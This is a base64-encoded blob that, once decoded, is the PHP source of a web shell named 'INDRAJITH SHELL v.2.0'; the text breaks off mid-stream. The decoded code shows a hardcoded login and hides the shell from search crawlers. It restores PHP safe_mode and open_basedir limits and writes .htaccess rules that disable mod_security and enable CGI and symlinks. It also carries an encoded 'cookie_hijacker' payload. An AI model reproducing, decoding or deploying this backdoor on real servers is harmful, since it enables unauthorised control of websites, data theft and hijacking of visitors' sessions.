SW5kaXNoZWxsIEZhbWlseQogKiBUT0YgOiBTaHJpdGFtIEJob3dtaWNrLCBOdWxsIHwgVm9pZCwg
QWxleCwgQW5raXQgU2hhcm1hLEpvaG4uCiAqIEluZGlzaGVsbCA6IEFTSEVMTCwgREBya3dvbGYu
CiAqIFRIQSA6IFRIQSBSVURFIFtUaGVyZSBpcyBOb3RoaW5nIGluIEJvcmRlcnNdCiAqIExvdmUg
dG8gOiBBTVNURUNLIEFSVFMgJiBTQ0lFTkNFIENPTExFR0UsIEthbGxpYXNzZXJ5OyBWaXNobnUg
TmF0aCBLUCwgU3JlZWp1LCBTb29yYWosIENvbXB1dGVyIEtvcm5lciBGcmllbmRzLgogKi8KCi8q
LS0tLS0tLS0tLS0tLS0tLS0tIExPR0lOIC0tLS0tLS0tLS0tLS0tLS0tLS0qLwoKJHVzZXJuYW1l
PSJhaml0aGtwNTYwIjsKJHBhc3N3b3JkPSJhaml0aGtwNTYwIjsKJGVtYWlsPSJhaml0aGtwNTYw
QGdtYWlsLmNvbSI7CgovKi0tLS0tLS0tLS0tLS0tLS0tLSBMb2dpbiBEYXRhIEVuZCAtLS0tLS0t
LS0tKi8KCkBlcnJvcl9yZXBvcnRpbmcoNCk7CgovKi0tLS0tLS0tLS0tLS0tLS0tLSBBbnRpIENy
YXdsZXIgLS0tLS0tLS0tLS0tKi8KaWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQn
XSkpCnsKICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3Qi
LCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsKICAgIGlmKHByZWdfbWF0Y2go
Jy8nIC4gaW1wbG9kZSgnfCcsICR1c2VyQWdlbnRzKSAuICcvaScsICRfU0VSVkVSWydIVFRQX1VT
RVJfQUdFTlQnXSkpCiAgICB7CiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5k
Jyk7CiAgICAgICAgZXhpdDsKICAgIH0KfQplY2hvICI8bWV0YSBuYW1lPVwiUk9CT1RTXCIgY29u
dGVudD1cIk5PSU5ERVgsIE5PRk9MTE9XXCIgLz4iOyAvL0ZvciBFbnN1cmluZy4uLiBGdWNrIGFs
bCBSb2JvdHMuLi4KLyotLS0tLS0tLS0tLS0tLS0tLS0gRW5kIG9mIEFudGkgQ3Jhd2xlciAtLS0t
LSovCgoKCiAgICBlY2hvICI8bGluayBocmVmPWRhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCxSMGxHT0Rs
aEVBQVFBUGNBQURHY0FEbWNBRG1jQ0VLY0VFS2xFRXFsR0VxbElWS2xJVkt0SVZLdEtWcXRNV08x
T1d1MVFtdTFTbk8xU25POVNuTzlVbnU5V29TOVk0VEdZNHpHYTR6R2M1VEdjNVRPYzVUT2U1ek9l
NXpPaEszV2xMWGVwYjNlcmNibnRjYm52YzdudmM3bnh0YnZ6dDd2enQ3djF1ZjMzdS8zNSsvMzcv
ZjM3L2YvOS8vLzkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8vLy95d0FBQUFBRUFBUUFBQUl4d0E3QUJoSXNHQkJnUUVBSkF3d2dJR0VCUW9qRWhRd2NJ
RUZEUlVVVUNTNFVDRUVqQWMyUmhRSm9JR0dDQUlFUk9EUVFPTEFBQWMwU0FCd2dFTUlEZ29TU2hR
Z0FjTUFBeDA4T0JDZ0VZREltQTBDYlBpd29JQ0hGQklvRG9nQXdBR0dBZ3BDVkJnZ1lnVUhBd1Uy
bkZnQlFFSUZBUlZBR05Dd0FrTlZFeXRDekt3d2MwTUhBU1ZJQ0hDUTRnVEtnUkphVnRBZ1FBUUdC
U2RNSkNEWjBXaUFEeW9ZQU9DZzRlVkFrUXBXQ0JSZ0lvVE9qVG90ckhBd0VDd0FnWllwZGtCUlFH
S0hnQUFBT3c9PSByZWw9aWNvbiB0eXBlPWltYWdlL3gtaWNvbiAvPiI7CiAgICBlY2hvICI8c3R5
bGU+CiAgICBodG1sIHsgYmFja2dyb3VuZDp1cmwoaHR0cDovL3d3dy5haml0aGtwNTYwLmhvc3Rl
aS5jb20vaW1hZ2VzL2JhY2tncm91bmQuZ2lmKSBibGFjazsgfQogICAgI2xvZ2luYm94IHsgZm9u
dC1zaXplOjExcHg7IGNvbG9yOmdyZWVuOyB3aWR0aDoxMjAwcHg7IGhlaWdodDoyMDBweDsgYm9y
ZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBiYWNrZ3JvdW5kLWNvbG9yOiMxMTExMTE7IGJvcmRlci1y
YWRpdXM6NXB4OyAtbW96LWJvZGVyLXJhZGl1czo1cHg7IHBvc2l0aW9uOmZpeGVkOyB0b3A6MjUw
cHg7IH0KICAgIGlucHV0IHsgZm9udC1zaXplOjExcHg7IGJhY2tncm91bmQ6IzE5MTkxOTsgY29s
b3I6Z3JlZW47IG1hcmdpbjowIDRweDsgYm9yZGVyOjFweCBzb2xpZCAjMjIyMjIyOyB9CiAgICBs
b2dpbmJveCB0ZCB7IGJvcmRlci1yYWRpdXM6NXB4OyBmb250LXNpemU6MTFweDsgfQogICAgLmhl
YWRlciB7IHNpemU6MjVweDsgY29sb3I6Z3JlZW47IH0KICAgIGgxIHsgZm9udC1mYW1pbHk6RGln
aWZhY2VXaWRlOyBjb2xvcjpncmVlbjsgZm9udC1zaXplOjIwMCU7IH0KICAgIGgxOmhvdmVyIHsg
dGV4dC1zaGFkb3c6MCAwIDIwcHggIzAwRkZGRiwgMCAwIDEwMHB4ICMwMEZGRkY7IH0KICAgIC5n
byB7IGhlaWdodDogNTBweDsgd2lkdGg6IDUwcHg7ZmxvYXQ6IGxlZnQ7IG1hcmdpbi1yaWdodDog
MTBweDsgZGlzcGxheTogbm9uZTsgYmFja2dyb3VuZC1jb2xvcjogIzA5MDt9CiAgICAuaW5wdXRf
YmlnIHsgd2lkdGg6NzVweDsgaGVpZ2h0OjMwcHg7IGJhY2tncm91bmQ6IzE5MTkxOTsgY29sb3I6
Z3JlZW47IG1hcmdpbjowIDRweDsgYm9yZGVyOjFweCBzb2xpZCAjMjIyMjIyOyBmb250LXNpemU6
MTdweDsgfQogICAgaHIgeyBib3JkZXI6MXB4IHNvbGlkICMyMjIyMjI7IH0KICAgICNtZXVubGlz
dCB7IHdpZHRoOiBhdXRvOyBoZWlnaHQ6IGF1dG87IGZvbnQtc2l6ZTogMTJweDsgZm9udC13ZWln
aHQ6IGJvbGQ7IH0KICAgICNtZXVubGlzdCB1bCB7IHBhZGRpbmctdG9wOiA1cHg7IHBhZGRpbmct
cmlnaHQ6IDVweDsgcGFkZGluZy1ib3R0b206IDdweDsgcGFkZGluZy1sZWZ0OiAycHg7IHRleHQt
YWxpZ246Y2VudGVyOyBsaXN0LXN0eWxlLXR5cGU6IG5vbmU7IG1hcmdpbjogMHB4OyB9CiAgICAj
bWV1bmxpc3QgbGkgeyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBkaXNwbGF5OiBpbmxpbmU7
IH0KICAgICNtZXVubGlzdCBhIHsgZm9udC1zaXplOiAxNHB4OyB0ZXh0LWRlY29yYXRpb246bm9u
ZTsgZm9udC13ZWlnaHQ6IGJvbGQ7Y29sb3I6Z3JlZW47Y2xlYXI6IGJvdGg7d2lkdGg6IDEwMHB4
O21hcmdpbi1yaWdodDogLTZweDsgcGFkZGluZy10b3A6IDNweDsgcGFkZGluZy1yaWdodDogMTVw
eDsgcGFkZGluZy1ib3R0b206IDNweDsgcGFkZGluZy1sZWZ0OiAxNXB4OyB9CiAgICAjbWV1bmxp
c3QgYTpob3ZlciB7IGJhY2tncm91bmQ6ICMzMzM7IGNvbG9yOmdyZWVuOyB9CiAgICAubWVudWJh
ciB7LW1vei1ib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6
MXB4IHNvbGlkIGdyZWVuOyBwYWRkaW5nOjRweCA4cHg7IGxpbmUtaGVpZ2h0OjE2cHg7IGJhY2tn
cm91bmQ6IzExMTExMTsgY29sb3I6I2FhYTsgbWFyZ2luOjAgMCA4cHggMDsgIH0KICAgIC5tZW51
IHsgZm9udC1zaXplOjI1cHg7IGNvbG9yOiB9CiAgICAudGV4dGFyZWFfZWRpdCB7IGJhY2tncm91
bmQtY29sb3I6IzExMTExMTsgYm9yZGVyOjFweCBncm9vdmUgIzMzMzsgY29sb3I6Z3JlZW47IH0K
ICAgIC50ZXh0YXJlYV9lZGl0OmhvdmVyIHsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IGJvcmRlcjox
cHggZGFzaGVkICMzMzM7IH0KICAgIC5pbnB1dF9idXR0IHtmb250LXNpemU6MTFweDsgYmFja2dy
b3VuZDojMTkxOTE5OyBjb2xvcjojNEM4M0FGOyBtYXJnaW46MCA0cHg7IGJvcmRlcjoxcHggc29s
aWQgIzIyMjIyMjt9CiAgICAjcmVzdWx0eyAtbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRl
ci1yYWRpdXM6IDEwcHg7IGJvcmRlcjoxcHggc29saWQgZ3JlZW47IHBhZGRpbmc6NHB4IDhweDsg
bGluZS1oZWlnaHQ6MTZweDsgYmFja2dyb3VuZDojMTExMTExOyBjb2xvcjojYWFhOyBtYXJnaW46
MCAwIDhweCAwOyBtaW4taGVpZ2h0OjEwMHB4O30KICAgIC50YWJsZXsgd2lkdGg6MTAwJTsgcGFk
ZGluZzo0cHggMDsgY29sb3I6Izg4ODsgZm9udC1zaXplOjE1cHg7IH0KICAgIC50YWJsZSBheyB0
ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Z3JlZW47IGZvbnQtc2l6ZToxNXB4OyB9CiAgICAu
dGFibGUgYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30KICAgIC50YWJsZSB0ZHsg
Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsgcGFkZGluZzowIDhweDsgbGluZS1oZWln
aHQ6MjRweDsgdmVydGljYWwtYWxpZ246dG9wOyB9CiAgICAudGFibGUgdGh7IHBhZGRpbmc6M3B4
IDhweDsgZm9udC13ZWlnaHQ6bm9ybWFsOyBiYWNrZ3JvdW5kOiMyMjIyMjI7IGNvbG9yOiM1NTU7
IH0KICAgIC50YWJsZSB0cjpob3ZlcnsgYmFja2dyb3VuZDojMTgxODE4OyB9CiAgICAudGJseyB3
aWR0aDoxMDAlOyBwYWRkaW5nOjRweCAwOyBjb2xvcjojODg4OyBmb250LXNpemU6MTVweDsgdGV4
dC1hbGlnbjpjZW50ZXI7ICB9CiAgICAudGJsIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjb2xv
cjpncmVlbjsgZm9udC1zaXplOjE1cHg7IHZlcnRpY2FsLWFsaWduOm1pZGRsZTsgfQogICAgLnRi
bCBhOmhvdmVye3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQogICAgLnRibCB0ZHsgYm9yZGVy
LWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsgcGFkZGluZzowIDhweDsgbGluZS1oZWlnaHQ6MjRw
eDsgIHZlcnRpY2FsLWFsaWduOm1pZGRsZTsgd2lkdGg6IDMwMHB4OyB9CiAgICAudGJsIHRoeyBw
YWRkaW5nOjNweCA4cHg7IGZvbnQtd2VpZ2h0Om5vcm1hbDsgYmFja2dyb3VuZDojMjIyMjIyOyBj
b2xvcjojNTU1OyB2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IH0KICAgIC50YmwgdGQ6aG92ZXJ7IGJh
Y2tncm91bmQ6IzE4MTgxODsgfQogICAgI2FsZXJ0IHtwb3NpdGlvbjogcmVsYXRpdmU7fQogICAg
I2FsZXJ0OmhvdmVyOmFmdGVyIHtiYWNrZ3JvdW5kOiBoc2xhKDAsMCUsMCUsLjgpO2JvcmRlci1y
YWRpdXM6IDNweDtjb2xvcjogI2Y2ZjZmNjtjb250ZW50OiAnQ2xpY2sgdG8gZGlzbWlzcyc7Zm9u
dDogYm9sZCAxMnB4LzMwcHggc2Fucy1zZXJpZjtoZWlnaHQ6IDMwcHg7bGVmdDogNTAlO21hcmdp
bi1sZWZ0OiAtNjBweDtwb3NpdGlvbjogYWJzb2x1dGU7dGV4dC1hbGlnbjogY2VudGVyO3RvcDog
NTBweDsgd2lkdGg6IDEyMHB4O30KICAgICNhbGVydDpob3ZlcjpiZWZvcmUge2JvcmRlci1ib3R0
b206IDEwcHggc29saWQgaHNsYSgwLDAlLDAlLC44KTtib3JkZXItbGVmdDogMTBweCBzb2xpZCB0
cmFuc3BhcmVudDtib3JkZXItcmlnaHQ6IDEwcHggc29saWQgdHJhbnNwYXJlbnQ7Y29udGVudDog
Jyc7aGVpZ2h0OiAwO2xlZnQ6IDUwJTttYXJnaW4tbGVmdDogLTEwcHg7cG9zaXRpb246IGFic29s
dXRlO3RvcDogNDBweDt3aWR0aDogMDt9CiAgICAjYWxlcnQ6dGFyZ2V0IHtkaXNwbGF5OiBub25l
O30KICAgIC5hbGVydF9yZWQge2FuaW1hdGlvbjogYWxlcnQgMXMgZWFzZSBmb3J3YXJkcztiYWNr
Z3JvdW5kLWNvbG9yOiAjYzQ0NTNjO2JhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCgx
MzVkZWcsIHRyYW5zcGFyZW50LHRyYW5zcGFyZW50IDI1JSwgaHNsYSgwLDAlLDAlLC4xKSAyNSUs
aHNsYSgwLDAlLDAlLC4xKSA1MCUsIHRyYW5zcGFyZW50IDUwJSx0cmFuc3BhcmVudCA3NSUsIGhz
bGEoMCwwJSwwJSwuMSkgNzUlLGhzbGEoMCwwJSwwJSwuMSkpO2JhY2tncm91bmQtc2l6ZTogMjBw
eCAyMHB4O2JveC1zaGFkb3c6IDAgNXB4IDAgaHNsYSgwLDAlLDAlLC4xKTtjb2xvcjogI2Y2ZjZm
NjtkaXNwbGF5OiBibG9jaztmb250OiBib2xkIDE2cHgvNDBweCBzYW5zLXNlcmlmO2hlaWdodDog
NDBweDtwb3NpdGlvbjogYWJzb2x1dGU7dGV4dC1hbGlnbjogY2VudGVyO3RleHQtZGVjb3JhdGlv
bjogbm9uZTt0b3A6IC00NXB4O3dpZHRoOiAxMDAlO30KICAgIC5hbGVydF9ncmVlbiB7YW5pbWF0
aW9uOiBhbGVydCAxcyBlYXNlIGZvcndhcmRzO2JhY2tncm91bmQtY29sb3I6ICM0M0NEODA7YmFj
a2dyb3VuZC1pbWFnZTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgdHJhbnNwYXJlbnQsdHJhbnNw
YXJlbnQgMjUlLCBoc2xhKDAsMCUsMCUsLjEpIDI1JSxoc2xhKDAsMCUsMCUsLjEpIDUwJSwgdHJh
bnNwYXJlbnQgNTAlLHRyYW5zcGFyZW50IDc1JSwgaHNsYSgwLDAlLDAlLC4xKSA3NSUsaHNsYSgw
LDAlLDAlLC4xKSk7YmFja2dyb3VuZC1zaXplOiAyMHB4IDIwcHg7Ym94LXNoYWRvdzogMCA1cHgg
MCBoc2xhKDAsMCUsMCUsLjEpO2NvbG9yOiAjZjZmNmY2O2Rpc3BsYXk6IGJsb2NrO2ZvbnQ6IGJv
bGQgMTZweC80MHB4IHNhbnMtc2VyaWY7aGVpZ2h0OiA0MHB4O3Bvc2l0aW9uOiBhYnNvbHV0ZTt0
ZXh0LWFsaWduOiBjZW50ZXI7dGV4dC1kZWNvcmF0aW9uOiBub25lO3RvcDogLTQ1cHg7d2lkdGg6
IDEwMCU7fQogICAgQGtleWZyYW1lcyBhbGVydCB7MCUgeyBvcGFjaXR5OiAwOyB9NTAlIHsgb3Bh
Y2l0eTogMTsgfTEwMCUgeyB0b3A6IDA7IH19CiAgICA8L3N0eWxlPiI7CiAgICBpZigkX0NPT0tJ
RVsidXNlciJdICE9ICR1c2VybmFtZSAmJiAkX0NPT0tJRVsicGFzcyJdICE9IG1kNSgkcGFzc3dv
cmQpKQogICAgewogICAgICAgIGlmKCRfUE9TVFsidXNybmFtZSJdPT0kdXNlcm5hbWUgJiYgJF9Q
T1NUWyJwYXNzd3JkIl09PSRwYXNzd29yZCkKICAgICAgICB7CiAgICAgICAgICAgIHByaW50Jzxz
Y3JpcHQ+ZG9jdW1lbnQuY29va2llPSJ1c2VyPScuJF9QT1NUWyJ1c3JuYW1lIl0uJzsiO2RvY3Vt
ZW50LmNvb2tpZT0icGFzcz0nLm1kNSgkX1BPU1RbInBhc3N3cmQiXSkuJzsiOzwvc2NyaXB0Pic7
CiAgICAgICAgICAgIGlmKCRlbWFpbCE9IiIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAg
IG1haWxfYWxlcnQoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlCiAgICAg
ICAgewogICAgICAgICAgICBpZigkX1BPU1RbJ3Vzcm5hbWUnXSkKICAgICAgICAgICAgewogICAg
ICAgICAgICAgICAgcHJpbnQnPHNjcmlwdD5hbGVydCgiU29ycnkuLi4gV3JvbmcgVXNlck5hbWUv
UGFzc1dvcmQiKTs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzx0
aXRsZT5JTkRSQUpJVEggU0hFTEwgdi4yLjA8L3RpdGxlPjxjZW50ZXI+CiAgICAgICAgICAgIDxk
aXYgaWQ9bG9naW5ib3g+PHA+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT4KICAg
ICAgICAgICAgPGZvbnQgY29sb3I9b3JhbmdlPj4+Pj4+Pj4+Pj48L2ZvbnQ+PGZvbnQgY29sb3I9
d2hpdGU+Pj4+Pj48PDw8PDwvZm9udD48Zm9udCBjb2xvcj1ncmVlbj4+Pj4+Pj4+Pj4+PC9mb250
PgogICAgICAgICAgICA8Y2VudGVyPjx0YWJsZSBjZWxscGFkZGluZz1cJzJcJyBjZWxsc3BhY2lu
Zz1cJzBcJyBib3JkZXI9XCcwXCcgaWQ9XCdhcF90YWJsZVwnPgogICAgICAgICAgICA8dHI+PHRk
IGJnY29sb3I9ImdyZWVuIj48dGFibGUgY2VsbHBhZGRpbmc9XCcwXCcgY2VsbHNwYWNpbmc9XCcw
XCcgYm9yZGVyPVwnMFwnIHdpZHRoPVwnMTAwJVwnPjx0cj48dGQgYmdjb2xvcj0iZ3JlZW4iIGFs
aWduPWNlbnRlciBzdHlsZT0icGFkZGluZzoyO3BhZGRpbmctYm90dG9tOjQiPjxiPjxmb250IGNv
bG9yPSJ3aGl0ZSIgc2l6ZT0tMSBjb2xvcj0id2hpdGUiIGZhY2U9InZlcmRhbmEsYXJpYWwiPjxi
PklORFJBSklUSCBTSEVMTCB2LjIuMDwvYj48L2ZvbnQ+PC90aD48L3RyPgogICAgICAgICAgICA8
dHI+PHRkIGJnY29sb3I9ImJsYWNrIiBzdHlsZT0icGFkZGluZzo1Ij4KICAgICAgICAgICAgPGZv
cm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
YWN0aW9uIiB2YWx1ZT0ibG9naW4iPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBu
YW1lPSJoaWRlIiB2YWx1ZT0iIj4KICAgICAgICAgICAgPGNlbnRlcj48dGFibGU+CiAgICAgICAg
ICAgIDx0cj48dGQ+PGZvbnQgY29sb3I9ImdyZWVuIiBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXpl
PS0xPkxvZ2luOjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5h
bWU9InVzcm5hbWUiIHZhbHVlPSJ1c2VybmFtZSIgb25mb2N1cz0iaWYgKHRoaXMudmFsdWUgPT0g
XCd1c2VybmFtZVwnKXt0aGlzLnZhbHVlID0gXCdcJzt9Ij48L3RkPjwvdHI+CiAgICAgICAgICAg
IDx0cj48dGQ+PGZvbnQgY29sb3I9ImdyZWVuIiBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0x
PlBhc3N3b3JkOjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIHNpemU9IjMw
IiBuYW1lPSJwYXNzd3JkIiB2YWx1ZT0icGFzc3dvcmQiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVl
ID09IFwncGFzc3dvcmRcJykgdGhpcy52YWx1ZSA9IFwnXCc7Ij48L3RkPjwvdHI+CiAgICAgICAg
ICAgIDx0cj48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT4mbmJzcDs8L2Zv
bnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT48aW5wdXQgdHlw
ZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4KICAgICAg
ICAgICAgPC9kaXY+PGJyIC8+PC9jZW50ZXI+JzsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9
CiAgICB9CgokY29sb3JfZz0iZ3JlZW4iOwokY29sb3JfYj0iNEM4M0FGIjsKJGNvbG9yX2JnPSIj
MTExMTExIjsKJGNvbG9yX2hyPSIjMjIyIjsKJGNvbG9yX3dyaT0iZ3JlZW4iOwokY29sb3JfcmVh
PSJ5ZWxsb3ciOwokY29sb3Jfbm9uPSJyZWQiOwokcGF0aD0kX0dFVFsncGF0aCddOwoKQHNlc3Np
b25fc3RhcnQoKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9p
bmNsdWRlX2RpciIpOwpAaW5pX3Jlc3RvcmUoInNhZmVfbW9kZV9leGVjX2RpciIpOwpAaW5pX3Jl
c3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7CkBpbmlfcmVzdG9yZSgiYWxsb3dfdXJsX2ZvcGVu
Iik7CkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CkBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGly
Iik7CkBpZ25vcmVfdXNlcl9hYm9ydChGQUxTRSk7CkBpbmlfc2V0KCd6bGliLm91dHB1dF9jb21w
cmVzc2lvbicsJ09mZicpOwoKJHNlcD0iLyI7CmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUyww
LDMpKT09IndpbiIpCnsKICAgICRvcz0id2luIjsKICAgICRzZXA9IlxcIjsKICAgICRveD0iV2lu
ZG93cyI7Cn0KZWxzZQp7CiAgICAkb3M9Im5peCI7CiAgICAkb3g9IkxpbnV4IjsKfQoKCgokc2Vs
Zj0kX1NFUlZFUlsnUEhQX1NFTEYnXTsKJHNydnJfc29mPSRfU0VSVkVSWydTRVJWRVJfU09GVFdB
UkUnXTsKJHlvdXJfaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CiRzcnZyX2lwPSRfU0VSVkVS
WydTRVJWRVJfQUREUiddOwokYWRtaW49JF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddOwoKJHNfcGhw
X2luaT0ic2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FIjsKCiRpbmlfcGhwPSI8
PwplY2hvIGluaV9nZXQoXCJzYWZlX21vZGVcIik7CmVjaG8gaW5pX2dldChcIm9wZW5fYmFzZWRp
clwiKTsKaW5jbHVkZShcJF9HRVRbXCJmaWxlXCJdKTsKaW5pX3Jlc3RvcmUoXCJzYWZlX21vZGVc
Iik7CmluaV9yZXN0b3JlKFwib3Blbl9iYXNlZGlyXCIpOwplY2hvIGluaV9nZXQoXCJzYWZlX21v
ZGVcIik7CmVjaG8gaW5pX2dldChcIm9wZW5fYmFzZWRpclwiKTsKaW5jbHVkZShcJF9HRVRbXCJz
c1wiXSk7Cj8+IjsKCiRzX2h0YWNjZXNzPSI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+ClNlYy0t
LS0tLUVuZ2luZSBPZmYKU2VjLS0tLS0tU2NhblBPU1QgT2ZmCjwvSWZNb2R1bGU+IjsKCiRzX2h0
YWNjZXNzX3BsPSJPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVj
Q0dJCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnNoCkFkZEhhbmRsZXIgY2dpLXNj
cmlwdCAucGwKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCI7Cgokc3ltX2h0YWNjZXNzPSJPcHRp
b25zIGFsbApEaXJlY3RvcnlJbmRleCBTdXguaHRtbApBZGRUeXBlIHRleHQvcGxhaW4gLnBocApB
ZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocApBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwKQWRk
SGFuZGxlciB0eHQgLmh0bWwKUmVxdWlyZSBOb25lClNhdGlzZnkgQW55IjsKCiRzeW1fcGhwX2lu
aT0ic2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05FIjsKCiRmb3JiaWRfZGlyPSJP
cHRpb25zIC1JbmRleGVzIjsKCiRjb29raWVfaGlnaGphY2tlcj0iclZWZGM1cEFGSDEzeHY5d2gz
RWlwcTIyTTNtaWFzYUpHR21OV3NTMm1VNkhRVnlFRmxuQ0xrazdJZis5ZDhFUENLRnRwdVZCMmQx
ejd6MTc3Z2YxV3ZjOGRNTjZyWFA2YXYvQUpRbElaSEd5Qm91QkJhRVZjYUFPYU5PaFBuaW5HV05Z
ak5YSkJNS0lmaU0yaDUzWmFhZGVjK0xBNWg0TjBBWFg1bktyWHJ1djF3QWZ6d0Y1UXpnSmJtVnBi
Qmh6ODJLaXFWUEQxT1pTQzA1T2dQSEl0aGl4dDJFbDdDVkljZkE5b0hlQjFHcGxYbmZPeGRQd1F1
aEJsZTNiRFBpUS9SR2ZrVEtqeitab3BuOGE2RU4xS041K3o2c0VmamE3a29jL2NOVFZxNW1obW9Q
aHNKcGFBZk1jUmdYRENpSWVZNFRMRFhPaDZoOVYvVXN6WjlQOG1qS3FPSHRFdGdMMU4zUXJUTXVF
Syt3UEVZb1dFZUZ4Rk1pSUVYZC95Sld4VHpkRGkxdTVRa2JRaEc1NmtrMER4OXZFMkNhSVkyMytn
KytkTm14S3YzdWtRUGZEVXRXdnpZV2hhOVBMQTk5R1JEWWU0eVF5Tno1ZFdUNURFM2xGcWQ4Q0wv
Qk16STNjUEVKU1JIT2ZISkdRa24ycm1OV0NTSHZETkowWmJOZWplSERnc3pWRGlzMytoTkx6bVc0
Y21jY01vMW9iRWhTeGFXRXZjV1VPTHJIMWNqZTlZZHpjRXU3U2RjSGdTalhHczJGZWthM3BVdllr
Zy9Gc2tmZElIQktScUJ4ZVYwZXFyaDZyb3JIR1NkWVRQeUJMUHF3WFlwU040QnBjeFZNWURBNzEz
c0JrOXh3YWtrQ1dzaXhMV0pQV0MrbW9rRkE5Uk5YTnJjVnRWNVk2SzVkdlZ4MFBnWmxGQzVJRVNn
aS9BQ2tYdHhQR25Na2lQZ2JVNWtxYW53U0U1RW91S3drSUNaU2NTZ2tNUkE2VVFrSVN5RlJWaXJJ
